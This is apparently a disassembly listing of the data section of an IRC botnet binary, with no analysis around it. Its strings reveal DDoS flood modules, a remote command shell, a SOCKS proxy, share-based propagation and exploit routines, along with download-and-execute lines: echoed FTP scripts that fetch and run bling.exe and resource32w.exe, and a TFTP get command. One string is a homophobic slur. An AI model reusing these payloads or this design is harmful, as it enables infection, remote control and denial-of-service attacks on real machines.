aProcsstop	db 'procsstop',0        ; DATA XREF: sub_409806+FDEo
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_409806+FCAo
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_409806+FB6o
		align 4
aTftp_0		db '[TFTP]',0           ; DATA XREF: sub_409806+FA8o
		align 4
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_409806+F8Eo
		align 10h
aPing_1		db '[PING]',0           ; DATA XREF: sub_409806+F80o
		align 4
aPingFlood	db 'Ping flood',0       ; DATA XREF: sub_409806+F7Bo
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_409806+F66o
		align 10h
aUpd		db '[UPD]',0            ; DATA XREF: sub_409806+F58o
		align 4
aUdpFlood	db 'UDP flood',0        ; DATA XREF: sub_409806+F53o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_409806+F3Eo
aSyn_0		db '[SYN]',0            ; DATA XREF: sub_409806+F30o
		align 4
aSynFlood	db 'Syn flood',0        ; DATA XREF: sub_409806+F2Bo
		align 10h
aSynstop	db 'synstop',0          ; DATA XREF: sub_409806+F16o
aDdos		db '[DDoS]',0           ; DATA XREF: sub_409806+F08o
		align 10h
aDdosFlood	db 'DDoS flood',0       ; DATA XREF: sub_409806+F03o
		align 4
aDdos_stop	db 'ddos.stop',0        ; DATA XREF: sub_409806+EEEo
		align 4
aRedirect_0	db '[REDIRECT]',0       ; DATA XREF: sub_409806+EE0o
		align 4
aTcpRedirect	db 'TCP redirect',0     ; DATA XREF: sub_409806+EDBo
		align 4
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_409806+EC6o
		align 4
aLog		db '[LOG]',0            ; DATA XREF: sub_409806+EB8o
		align 4
aLogList	db 'Log list',0         ; DATA XREF: sub_409806+EB3o
		align 4
aLogstop	db 'logstop',0          ; DATA XREF: sub_409806+E9Eo
aHttpd		db '[HTTPD]',0          ; DATA XREF: sub_409806+E90o
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_409806+E76o
		align 4
aRlogind	db '[RLOGIND]',0        ; DATA XREF: sub_409806+E68o
		align 10h
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_409806+E4Eo
		align 4
aSocks4_0	db '[SOCKS4]',0         ; DATA XREF: sub_409806+E40o
		align 4
aServer_0	db 'Server',0           ; DATA XREF: sub_409806+E3Bo
					; sub_409806+E63o ...
		align 10h
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_409806+E26o
		align 4
aS4		db 's4',0               ; DATA XREF: sub_409806+E12o
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_409806+DFEo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_409806+DEAo
		align 10h
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_409806+DD6o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_409806+DC2o
					; sub_409806+541Co
aSecure		db 'secure',0           ; DATA XREF: sub_409806+DAEo
					; sub_409806+540Co
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_409806+D9Ao
aVersion	db 'version',0          ; DATA XREF: sub_409806+D86o
aLo		db 'lo',0               ; DATA XREF: sub_409806+D72o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_409806+D5Eo
		align 10h
aD:					; DATA XREF: sub_409806+D4Ao
					; sub_415E96+7Ao
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_409806+D36o
aRn		db 'rn',0               ; DATA XREF: sub_409806+D22o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_409806+D0Bo
a63		db '63',0               ; DATA XREF: sub_409806+BEAo
		align 4
asc_42A858:				; DATA XREF: sub_409806+BC2o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_409806+B87o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_409806+B7Co
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_409806+B6Bo
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_409806+B4Do
		align 10h
aUser_2		db '$user',0            ; DATA XREF: sub_409806+B3Co
		align 4
aMe		db '$me',0              ; DATA XREF: sub_409806+B2Ao
aD_0		db '$%d',0              ; DATA XREF: sub_409806+ABEo
aD_1		db '$%d-',0             ; DATA XREF: sub_409806+A0Bo
		align 4
dword_42A898	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_409806+971o
		dd 0A0Dh
dword_42A8B0	dd 4E495001h, 47hdword_42A8B8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_409806+934o
		dd 0D017325h, 0Ah
dword_42A8D4	dd 52455601h, 4E4F4953h, 1dword_42A8E0	dd 23h		dword_42A8E4	dd 6Ch		dword_42A8E8	dd 323333h						; sub_409806+7ECo ...
aMainJoinedChan	db '[MAIN]: Joined channel: %s.',0 ; DATA XREF: sub_409806+6F0o
aMainUserSLog_0	db '[MAIN]: User: %s logged out.',0 ; DATA XREF: sub_409806+690o
		align 4
a353		db '353',0              ; DATA XREF: sub_409806+63Eo
aPart		db 'PART',0             ; DATA XREF: sub_409806+5C2o
		align 4
aSS_3		db ':%s%s',0            ; DATA XREF: sub_409806+593o
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_409806+3E4o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409806+370o
					; sub_409806+6CEo
aMainUserSLogge	db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_409806+357o
					; sub_409806+555Ao ...
aKick		db 'KICK',0             ; DATA XREF: sub_409806+2D7o
		align 4
aNickS_0	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_409806+26Eo
					; sub_409806+437Bo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_409806+24Bo
a@:					; DATA XREF: sub_409806+222o
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_409806+215o
a005		db '005',0              ; DATA XREF: sub_409806+202o
a001		db '001',0              ; DATA XREF: sub_409806+1EFo
aJoinSS_0	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_409806+1D2o
					; sub_409806+383Bo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_409806+1B0o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_409806+19Ao
		align 4
asc_42A9BC:				; DATA XREF: sub_409806+188o
					; sub_409806+60E1o
		unicode	0, <!>,0
aSecureSystemSe	db '[SECURE]: System secure monitor active.',0 ; DATA XREF: sub_40FAD0+38Fo
aMainBotStarted	db '[MAIN]: Bot started.',0 ; DATA XREF: sub_40FAD0+356o
		align 10h
aSDS		db '%s %d "%s"',0       ; DATA XREF: sub_40FAD0+286o
		align 4
aRedirectFail_0	db '[REDIRECT]: Failed to start connection thread, error: <%d>.',0
					; DATA XREF: sub_4100C6+153o
aRedirectClient	db '[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_4100C6+DBo
		align 4
aRedirectFail_1	db '[REDIRECT]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_4102A3+13Fo
aRedirectClie_0	db '[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_4102A3+DDo
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_410492+35o
aCmdCouldNotR_0	db '[CMD]: Could not read data from proccess.',0Dh,0Ah,0
					; DATA XREF: sub_410520:loc_410684o
aCmdProccessHas	db '[CMD]: Proccess has terminated.',0Dh,0Ah,0 ; DATA XREF: sub_410520+141o
		align 4
aCmdCouldNotRea	db '[CMD]: Could not read data from proccess',0Dh,0Ah,0
					; DATA XREF: sub_410520:loc_41062Fo
		align 10h
aCmdFailedToSta	db '[CMD]: Failed to start IO thread, error: <%d>.',0
					; DATA XREF: sub_4106AD+18Eo
		align 10h
aCmdRemoteComma	db '[CMD]: Remote Command Prompt',0 ; DATA XREF: sub_4106AD+146o
		align 10h
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_4106AD+1Fo
aRlogindProtoco	db '[RLOGIND]: Protocol string too long.',0
					; DATA XREF: sub_41085C:loc_41088Eo
		align 10h
aRlogindLoginRe	db '[RLOGIND]: Login rejected, Remote user: <%s@%s>.',0
					; DATA XREF: sub_4108A7+39o
		align 4
aRlogindUserL_0	db '[RLOGIND]: User logged out: <%s@%s>.',0 ; DATA XREF: sub_4108F4+1EFo
		align 4
aRlogindErrorSe	db '[RLOGIND]: Error: SessionRun(): <%d>.',0 ; DATA XREF: sub_4108F4+1CFo
		align 4
aRlogindUserLog	db '[RLOGIND]: User logged in: <%s@%s>.',0 ; DATA XREF: sub_4108F4+1AFo
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_4108F4+184o
		align 4
aRlogindErrorGe	db '[RLOGIND]: Error: getpeername(): <%d>.',0 ; DATA XREF: sub_4108F4+F4o
		align 4
aRlogindError_0	db '[RLOGIND]: Error: server failed, returned: <%d>.',0
					; DATA XREF: sub_410B00+215o
		align 4
aRlogindFaile_1	db '[RLOGIND]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_410B00+1C9o
		align 10h
aRlogindClientC	db '[RLOGIND]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_410B00+158o
aRlogindReadyAn	db '[RLOGIND]: Ready and waiting for incoming connections.',0
					; DATA XREF: sub_410B00+FFo
		align 4
aRlogindFaile_0	db '[RLOGIND]: Failed to install control-C handler, error: <%d>.',0
					; DATA XREF: sub_410B00+70o
		align 4
aRlogindErrorWs	db '[RLOGIND]: Error: WSAStartup(): <%d>.',0 ; DATA XREF: sub_410B00+3Eo
		align 10h
aSI		db '%s%i',0             ; DATA XREF: sub_410D7C+40o
					; .text:00410E77o ...
		align 4
aPc		db 'PC',0               ; DATA XREF: .text:00410E45o
		align 4
aS_1		db '%s|',0              ; DATA XREF: .text:00410EC5o
aS_7		db '[%s]|',0            ; DATA XREF: .text:00410FADo
		align 4
a???		db '???',0              ; DATA XREF: .text:loc_410FA4o
					; sub_412AEE:loc_412B8Fo
a2k3		db '2K3',0              ; DATA XREF: .text:00410F9Do
aXp_0		db 'XP',0               ; DATA XREF: .text:00410F92o
					; sub_412AEE+8Bo
		align 4
a2k		db '2K',0               ; DATA XREF: .text:00410F85o
					; sub_412AEE+7Co
		align 4
aMe_0		db 'ME',0               ; DATA XREF: .text:00410F72o
					; sub_412AEE+68o
		align 4
a98		db '98',0               ; DATA XREF: .text:00410F65o
					; sub_412AEE+59o
		align 10h
aNt		db 'NT',0               ; DATA XREF: .text:00410F58o
					; sub_412AEE+4Ao
		align 4
a95		db '95',0               ; DATA XREF: .text:00410F4Do
					; sub_412AEE+39o
		align 4
aDS		db '[%d]%s',0           ; DATA XREF: sub_410FF6+3Ao
		align 10h
aM_0		db '[M]',0              ; DATA XREF: sub_410FF6+2Co
					; sub_410FF6+51o
aScanIpSPortD_0	db '[SCAN]: IP: %s Port: %d is open.',0 ; DATA XREF: sub_411125+85o
		align 4
aScanScanningIp	db '[SCAN]: Scanning IP: %s, Port: %d.',0 ; DATA XREF: sub_4111E7+40o
		align 4
aD_2		db 'D:\',0              ; DATA XREF: .text:0043022Co
aD_3		db 'D$',0               ; DATA XREF: .text:00430228o
		align 4
aC_2		db 'C:\',0              ; DATA XREF: .text:00430224o
aC_3		db 'C$',0               ; DATA XREF: .text:00430220o
		align 4
aAdmin_0	db 'ADMIN$',0           ; DATA XREF: .text:00430218o
		align 4
aIpc_0		db 'IPC$',0             ; DATA XREF: .text:off_430210o
		align 4
aSecureNetapi32	db '[SECURE]: Netapi32.dll couldn',27h,'t be loaded.',0
					; DATA XREF: sub_4112AD+2E8o
					; sub_4115D4+2DAo
		align 4
aSecureNetworkS	db '[SECURE]: Network shares deleted.',0 ; DATA XREF: sub_4112AD+2D2o
		align 4
aSecureFailed_4	db '[SECURE]: Failed to delete ',27h,'%S',27h,' share.',0
					; DATA XREF: sub_4112AD:loc_411518o
		align 4
aSecureShareS_0	db '[SECURE]: Share ',27h,'%S',27h,' deleted.',0
					; DATA XREF: sub_4112AD+264o
		align 4
aSecureFailed_3	db '[SECURE]: Failed to delete ',27h,'%s',27h,' share.',0
					; DATA XREF: sub_4112AD:loc_411488o
		align 4
aSecureShareSDe	db '[SECURE]: Share ',27h,'%s',27h,' deleted.',0
					; DATA XREF: sub_4112AD+1D4o
		align 4
aSecureAdvapi32	db '[SECURE]: Advapi32.dll couldn',27h,'t be loaded.',0
					; DATA XREF: sub_4112AD:loc_4113E0o
					; sub_4115D4:loc_411703o
		align 4
aSecureFailed_2	db '[SECURE]: Failed to open IPC$ Restriction registry key.',0
					; DATA XREF: sub_4112AD:loc_4113D9o
aSecureRestrict	db '[SECURE]: Restricted access to the IPC$ Share.',0
					; DATA XREF: sub_4112AD:loc_4113C1o
		align 10h
aSecureFailed_1	db '[SECURE]: Failed to restrict access to the IPC$ Share.',0
					; DATA XREF: sub_4112AD+10Do
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_4112AD+EEo
					; sub_4115D4+EEo
		align 4
aSecureFailed_0	db '[SECURE]: Failed to open DCOM registry key.',0
					; DATA XREF: sub_4112AD+92o
					; sub_4115D4+92o
aSecureDcomDisa	db '[SECURE]: DCOM disabled.',0 ; DATA XREF: sub_4112AD:loc_411321o
		align 4
aSecureDisableD	db '[SECURE]: Disable DCOM failed.',0 ; DATA XREF: sub_4112AD+6Do
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_4112AD+55o
					; sub_4115D4+55o
		align 10h
aSecureNetwor_0	db '[SECURE]: Network shares added.',0 ; DATA XREF: sub_4115D4+2C2o
aC_0		db '%c:\',0             ; DATA XREF: sub_4115D4+22Co
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_4115D4+21Bo
aSecureFailed_7	db '[SECURE]: Failed to add ',27h,'%s',27h,' share.',0
					; DATA XREF: sub_4115D4:loc_411782o
					; sub_4115D4:loc_411849o
aSecureShareSAd	db '[SECURE]: Share ',27h,'%s',27h,' added.',0 ; DATA XREF: sub_4115D4+1A7o
					; sub_4115D4+26Eo
aSecureFailed_6	db '[SECURE]: Failed to open IPC$ restriction registry key.',0
					; DATA XREF: sub_4115D4:loc_4116FCo
aSecureUnrestri	db '[SECURE]: Unrestricted access to the IPC$ Share.',0
					; DATA XREF: sub_4115D4:loc_4116E4o
		align 4
aSecureFailed_5	db '[SECURE]: Failed to unrestrict access to the IPC$ Share.',0
					; DATA XREF: sub_4115D4+109o
		align 4
aSecureDcomEnab	db '[SECURE]: DCOM enabled.',0 ; DATA XREF: sub_4115D4:loc_411648o
aSecureEnableDc	db '[SECURE]: Enable DCOM failed.',0 ; DATA XREF: sub_4115D4+6Do
		align 4
aRlogindFaile_2	db '[RLOGIND]: Failed to execute shell, error: <%d>.',0
					; DATA XREF: sub_411963+B7o
		align 10h
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411963+80o
		align 4
aRlogindSession	db '[RLOGIND]: SessionReadShellThread exited, error: <%ld>.',0
					; DATA XREF: sub_411A2F+89o
aRlogindFaile_5	db '[RLOGIND]: Failed to execute shell.',0 ; DATA XREF: sub_411BE1+B2o
aRlogindFaile_4	db '[RLOGIND]: Failed to create shell stdin pipe, error: <%d>.',0
					; DATA XREF: sub_411BE1+82o
		align 10h
aRlogindFaile_3	db '[RLOGIND]: Failed to create shell stdout pipe, error: <%d>.',0
					; DATA XREF: sub_411BE1+5Fo
aRlogindWaitfor	db '[RLOGIND]: WaitForMultipleObjects error: <%d>.',0
					; DATA XREF: sub_411CDD+E2o
		align 10h
aRlogindFaile_6	db '[RLOGIND]: Failed to create ReadShell session thread, error: <%d>'
					; DATA XREF: sub_411CDD+59o
					; sub_411CDD+8Fo
		db '.',0
		align 4
aSocks4ErrorF_0	db '[SOCKS4]: Error: Failed to connect to target, returned: <%d>.',0
					; DATA XREF: sub_4121E2+1A7o
		align 4
aSocks4ErrorFai	db '[SOCKS4]: Error: Failed to open socket(), returned: <%d>.',0
					; DATA XREF: sub_4121E2+187o
		align 10h
aSocks4Authenti	db '[SOCKS4]: Authentication failed. Remote userid: %s != %s.',0
					; DATA XREF: sub_4121E2+F6o
		align 4
aSocks4Failed_1	db '[SOCKS4]: Failed to start server on Port %d.',0
					; DATA XREF: sub_412412+1A1o
		align 4
aSocks4Failed_0	db '[SOCKS4]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_412412+16Co
		align 4
aSocks4ClientCo	db '[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_412412+107o
		align 4
aSynSendErrorD_	db '[SYN]: Send error: <%d>.',0 ; DATA XREF: sub_4125FE+242o
		align 10h
aSynDoneWithFlo	db '[SYN]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_4128D2+48o
		align 4
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41296D+39o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_412AEE+247o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_412AEE+161o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_412AEE:loc_412C21o
		align 4
aSS_5		db '%s (%s)',0          ; DATA XREF: sub_412AEE+C0o
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_412D55+99o
		align 4
off_42B6E4	dd offset loc_412F4E	; DATA XREF: sub_412D55+67o
dword_42B6E8	dd 4E414Ch	dword_42B6EC	dd 6C616944h, 70752Dhdword_42B6F4	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h, 0aTcpErrorSendin	db '[TCP]: Error sending packets to IP: %s. Packets sent: %d. Returne'
					; DATA XREF: sub_412E0B+3C5o
		db 'd: <%d>.',0
		align 8
aTcpDoneWithSFl	db '[TCP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/se'
					; DATA XREF: sub_412E0B+35Bo
		db 'c (%dMB).',0
		align 4
aTcpInvalidTarg	db '[TCP]: Invalid target IP.',0 ; DATA XREF: sub_412E0B+CBo
		align 10h
aTcpErrorSetsoc	db '[TCP]: Error: setsockopt() failed, returned: <%d>.',0
					; DATA XREF: sub_412E0B+ACo
		align 4
aTcpErrorSocket	db '[TCP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_412E0B+67o
		align 4
dword_42B824	dd 4000500h, 7868746Bh,	0aTftpFileTran_0	db '[TFTP]: File transfer complete to IP: %s (%s).',0
					; DATA XREF: sub_4131EE+44Co
		align 10h
aTftpFileNotFou	db '[TFTP]: File not found: %s (%s).',0 ; DATA XREF: sub_4131EE+395o
		align 4
dword_42B884	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_4131EE+379o
aTftpFileTransf	db '[TFTP]: File transfer started to IP: %s (%s).',0
					; DATA XREF: sub_4131EE+324o
		align 4
aTftpFailedToOp	db '[TFTP]: Failed to open file: %s.',0 ; DATA XREF: sub_4131EE+14Do
		align 4
aTftpErrorSocke	db '[TFTP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_4131EE+6Co
aOctet		db 'octet',0            ; DATA XREF: sub_4131EE+11o
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_413721+10o
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_4138EC+51o
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_4138EC+35o
aVisitFailedToG	db '[VISIT]: Failed to get requested URL from HTTP server.',0
					; DATA XREF: sub_413A01:loc_413B9Do
		align 4
aVisitUrlVisite	db '[VISIT]: URL visited.',0 ; DATA XREF: sub_413A01+195o
		align 4
aVisitFailedToC	db '[VISIT]: Failed to connect to HTTP server.',0
					; DATA XREF: sub_413A01+17Fo
		align 10h
aVisitCouldNotO	db '[VISIT]: Could not open a connection.',0 ; DATA XREF: sub_413A01+150o
		align 4
aVisitInvalidUr	db '[VISIT]: Invalid URL.',0 ; DATA XREF: sub_413A01+ABo
		align 10h
asc_42BA30	db '*/*',0              ; DATA XREF: sub_413A01+68o
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: sub_413C0C+2B8o
					; .text:00414803o ...
		align 10h
aHostSContentTy	db 'Host: %s',0Dh,0Ah   ; DATA XREF: sub_413C0C+1BAo
		db 'Content-Type: text/xml',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_1	db ' HTTP/1.1',0Dh,0Ah,0 ; DATA XREF: sub_413C0C+183o
aSearch		db 'SEARCH /',0         ; DATA XREF: sub_413C0C+CCo
		align 4
dword_42BAA4	dd 0		asc_42BAA8:				; DATA XREF: sub_41411D+17o
					; sub_4141FB+17o
		unicode	0, <\\>,0
		align 10h
aIpc:					; DATA XREF: sub_41411D+Co
					; sub_4141FB+Co
		unicode	0, <\IPC$>,0
aTftpFileTran_1	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .text:004147B6o
					; .text:004149E9o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: .text:00414561o
		align 10h
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: .text:00414C83o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: .text:00414C59o
aNilsisgay	db 'NILSISGAY!!',0      ; DATA XREF: .text:00414B2Ao
; ---------------------------------------------------------------------------


loc_42BB8C:				; DATA XREF: .text:00414B17o
		jmp	short loc_42BB9D
; ---------------------------------------------------------------------------
		align 10h
dword_42BB90	dd 2016280h, 100BDh, 8F160001h		db 82h
; ---------------------------------------------------------------------------


loc_42BB9D:				; CODE XREF: .text:loc_42BB8Cj
		add	[eax], eax
; ---------------------------------------------------------------------------
		db 0
		dd 0
dword_42BBA4	dd 255C3A63h, 78652E73h, 65haEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get resource32w.exe '
					; DATA XREF: sub_4150F9+94o
					; .text:00415DBBo
		db '>> o &echo quit >> o &ftp -n -s:o &del o &resource32w.exe',0Dh,0Ah,0
		align 10h
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_415242+27o
					; .text:0041587Bo
		align 4
dword_42BC3C	dd 1CEC8166h						; .text:00415827r
dword_42BC40	dd 0E4FF07h						; .text:00415831r
aSTryingSploitI	db '[%s]: Trying Sploit IP: %s.',0 ; DATA XREF: .text:00415E32o
aSExploitingI_0	db '[%s]: Exploiting IP: %s, Share: \%s, User: (%s/%s)',0
					; DATA XREF: sub_415E96+206o
		align 4
aNoPassword	db '(no password)',0    ; DATA XREF: sub_415E96+1E4o
		align 4
aSSS_3		db '%s\%s\%s',0         ; DATA XREF: sub_415E96+CBo
		align 10h
aCWindowsSystem	db 'c$\windows\system32',0 ; DATA XREF: sub_415E96+6Co
aCWinntSystem32	db 'c$\winnt\system32',0 ; DATA XREF: sub_415E96+65o
		align 4
aAdminSystem32	db 'Admin$\system32',0  ; DATA XREF: sub_415E96+5Eo
aSIpc_0		db '%s\ipc$',0          ; DATA XREF: .text:004161C9o
aS_6		db '\\%s',0             ; DATA XREF: .text:0041618Bo
		align 4
a100m		db '100',0Dh,0Ah,0     ; DATA XREF: .text:00416716o
		align 10h
a001merrorExecu	db '001Error Executing File',0Dh,0Ah,0 ; DATA XREF: .text:004166FEo
		align 4
a008mcA_exe	db '008C:\a.exe',0Dh,0Ah,0 ; DATA XREF: .text:004166CDo
		align 4
aOkRcvd		db '+OK RCVD',0         ; DATA XREF: .text:004166ACo
		align 4
aOkRedy		db '+OK REDY',0         ; DATA XREF: .text:00416645o
		align 4
aCA_exeD	db 'C:\a.exe',0Dh,0Ah   ; DATA XREF: .text:004165F5o
		db '%d',0Dh,0Ah,0
		align 4
a020m		db '020',0Dh,0Ah,0     ; DATA XREF: .text:00416510o
		align 4
a019m		db '019',0Dh,0Ah,0     ; DATA XREF: .text:004164E3o
		align 4
a022mmv1_2	db '022v1.2',0Dh,0Ah,0 ; DATA XREF: .text:loc_41647Eo
a022mmv1_1	db '022v1.1',0Dh,0Ah,0 ; DATA XREF: .text:00416477o
a001m		db '001',0             ; DATA XREF: .text:0041645Ao
					; .text:004164CAo
		align 4
a001myourClient	db '001Your client version is outdated!',0 ; DATA XREF: .text:0041641Co
		align 4
a022moptestmv_0	db '022OPtestv1.2',0Dh,0Ah,0 ; DATA XREF: .text:loc_4163CAo
		align 10h
a022moptestmv1_	db '022OPtestv1.1',0Dh,0Ah,0 ; DATA XREF: .text:004163C3o
		align 8
stru_42BDD8	_msEH <0FFFFFFFFh, 0, offset sub_416CEA> ; DATA	XREF: sub_416C97+2o
		align 8
stru_42BDE8	_msEH <0FFFFFFFFh, 0, offset sub_416D77> ; DATA	XREF: sub_416D08+2o
		align 8
stru_42BDF8	_msEH <0FFFFFFFFh, 0, offset sub_416E53> ; DATA	XREF: sub_416E0D+2o
		align 8
stru_42BE08	_msEH <0FFFFFFFFh, 0, offset sub_416F89> ; DATA	XREF: sub_416F47+2o
		align 8
stru_42BE18	_msEH <0FFFFFFFFh, 0, offset sub_4170F3> ; DATA	XREF: sub_416F93+2o
		align 8
stru_42BE28	_msEH <0FFFFFFFFh, 0, offset sub_417192> ; DATA	XREF: sub_417140+2o
		align 8
stru_42BE38	_msEH <0FFFFFFFFh, offset loc_4174F4, offset loc_4174F8>
					; DATA XREF: sub_417456+2o
		align 8
stru_42BE48	_msEH <0FFFFFFFFh, 0, offset sub_417888> ; DATA	XREF: sub_417834+2o
		align 8
stru_42BE58	_msEH <0FFFFFFFFh, 0, offset sub_4181F2> ; DATA	XREF: sub_418177+2o
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_418239+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_418239o
stru_42BE80	_msEH <0FFFFFFFFh, 0, offset sub_4185B6> ; DATA	XREF: sub_418577+2o
					; sub_4189AC+53r
		align 10h
stru_42BE90	_msEH <0FFFFFFFFh, offset loc_4187CB, offset loc_4187DF>
					; DATA XREF: .text:00418635o
		align 10h
byte_42BEA0	db 6			; DATA XREF: sub_4189AC:loc_418A0Dr
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .text:off_43236Co
		unicode	0, <(null)>,0
		align 4
aNull_1		db '(null)',0           ; DATA XREF: .text:off_432368o
		align 8
stru_42BF18	_msEH <0FFFFFFFFh, offset loc_41972A, offset loc_41972E>
					; DATA XREF: sub_419255+5o
		align 8
aHH:
		unicode	0, <	    h((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(1810181h), 0Ah	dup(1010101h), 3 dup(100010h)
		dd 3 dup(1820182h), 0Ah	dup(1020102h), 2 dup(100010h)
		dd 20h,	4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh, 14131211h
		dd 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h, 28272625h
		dd 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h, 3C3B3A39h
		dd 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h, 504F4E4Dh
		dd 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh, 64636261h
		dd 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h, 78777675h
		dd 7C7B7A79h, 7F7E7Dh
stru_42C0A8	_msEH <0FFFFFFFFh, 0, offset sub_419FC0> ; DATA	XREF: sub_419F8E+2o
		align 8
stru_42C0B8	_msEH <0FFFFFFFFh, 0, offset sub_41AE1A> ; DATA	XREF: sub_41ADA6+2o
		align 8
stru_42C0C8	_msEH <0FFFFFFFFh, 0, offset sub_41AFC3> ; DATA	XREF: sub_41AEF7+2o
		dd 2 dup(0)
		dd offset sub_41AF92
stru_42C0E0	_msEH <0FFFFFFFFh, 0, offset sub_41B468> ; DATA	XREF: sub_41B3E4+2o
		align 10h
stru_42C0F0	_msEH <0FFFFFFFFh, 0, offset sub_41BAD0> ; DATA	XREF: sub_41B9BA+2o
		align 10h
dbl_42C100	dq 0.0			; DATA XREF: sub_41BB63+6r
dword_42C108	dd 30302B65h, 30hdbl_42C110	dq 1.0			; DATA XREF: sub_41BF01+2Ar
dbl_42C118	dq 4.195835e6		; DATA XREF: sub_41BF01+Fr
dbl_42C120	dq 3.145727e6		; DATA XREF: sub_41BF01+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41BF41+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41BF41o
		align 10h
dword_42C150	dd 2 dup(0)						; sub_41E8E0+1Eo ...
